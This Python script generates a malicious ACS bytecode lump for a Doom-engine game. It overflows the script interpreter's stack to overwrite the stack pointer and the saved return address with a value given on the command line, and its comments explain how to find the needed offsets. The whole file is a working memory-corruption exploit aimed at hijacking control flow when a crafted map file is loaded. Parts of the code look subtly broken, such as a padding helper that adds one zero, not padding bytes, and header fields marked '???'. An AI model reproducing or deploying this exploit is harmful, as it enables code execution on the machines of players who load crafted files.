#!/usr/bin/env python

import os
import struct
import sys

# ACS File Format:
# CHUNK [4 bytes]
# SIZE (Excluding CHUNK and SIZE) [4 bytes]
# CONTENTS [SIZE bytes]

# PCD_ASSIGNSCRIPTVAR was chosen because it fits into the single-byte
# opcode size range and doesn't place anything onto the stack.

STACK_SIZE = 0x1000

CODE_HEADER = [0x41, 0x43, 0x53, 0x00]
SCRIPTTAB_HEADER = [0x53, 0x50, 0x54, 0x52]
FOOTTAB_HEADER = [0x41, 0x43, 0x53, 0x65]

PCD_NOP = 0
PCD_TERMINATE = 1
PCD_PUSHNUMBER = 3
PCD_ASSIGNSCRIPTVAR = 25
PCD_PUSHBYTE = 167
PCD_PUSHBYTES = 175
PCD_PUSH5BYTES = 179

# assert(sp == 0) is only compiled in DEBUG builds.

# You should probably throw some debug prints into the source code,
# finding the address of `Stack`, and the address of the return
# address on the stack. For me, `Stack` is at an offset of 4122 before
# the return address.

# Scripts must be aligned to 32 bits.
def align_script(code: list) -> list:
    padding_len = len(code) + (4 - (len(code) % 4))
    return code + [PCD_NOP * padding_len]


if __name__ == "__main__":
    if len(sys.argv) != 3:
        sys.stderr.write("usage: {} [RET OFFSET] [RET ADDR]\n".format(sys.argv[0]))
        sys.exit(1)

    desired_offset = int(sys.argv[1])
    return_address = int(sys.argv[2])
    dest = "BEHAVIOR.lmp"

    # Smash stackobj.sp
    payload = [PCD_PUSHBYTE] * (STACK_SIZE * 2)

    # Overwrite stackobj.sp
    payload += [PCD_PUSHNUMBER] + list(struct.pack("i", desired_offset))

    # Smash the return pointer
    least_sig = list(struct.pack("Q", return_address))[:4]
    most_sig = list(struct.pack("Q", return_address))[4:]
    payload += [PCD_PUSHNUMBER] + least_sig + [PCD_PUSHNUMBER] + most_sig

    payload.append(PCD_TERMINATE)
    payload = align_script(payload)

    payload_len = len(payload) + 4

    footer_table_off = payload_len + 32 # ??


    with open(dest, "wb+") as out:
        # Write the code section.
        out.write(bytes(CODE_HEADER))
        out.write(struct.pack("I", footer_table_off))
        out.write(bytes(payload))
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # Extra termination?

        # Write the Script Pointer Table
        out.write(bytes(SCRIPTTAB_HEADER))
        # out.write(struct.pack("I", len(script_pointer_table)))
        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # ???
        out.write(bytes([0x01, 0x00])) # Script number
        out.write(bytes([0x04, 0x00])) # ENTER
        out.write(bytes([0x08, 0x00, 0x00, 0x00])) # Start offset
        out.write(struct.pack("I", 0x08 + payload_len)) # End offset

        # Write footer table
        out.write(bytes(FOOTTAB_HEADER))
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
        out.write(bytes([0x01, 0x00, 0x00, 0x00])) # ???
        out.write(struct.pack("I", footer_table_off - 28)) # Offset to SPTR - 8?
        out.write(bytes([0x00, 0x00, 0x00, 0x00])) # ???

    # print("Enjoy :3")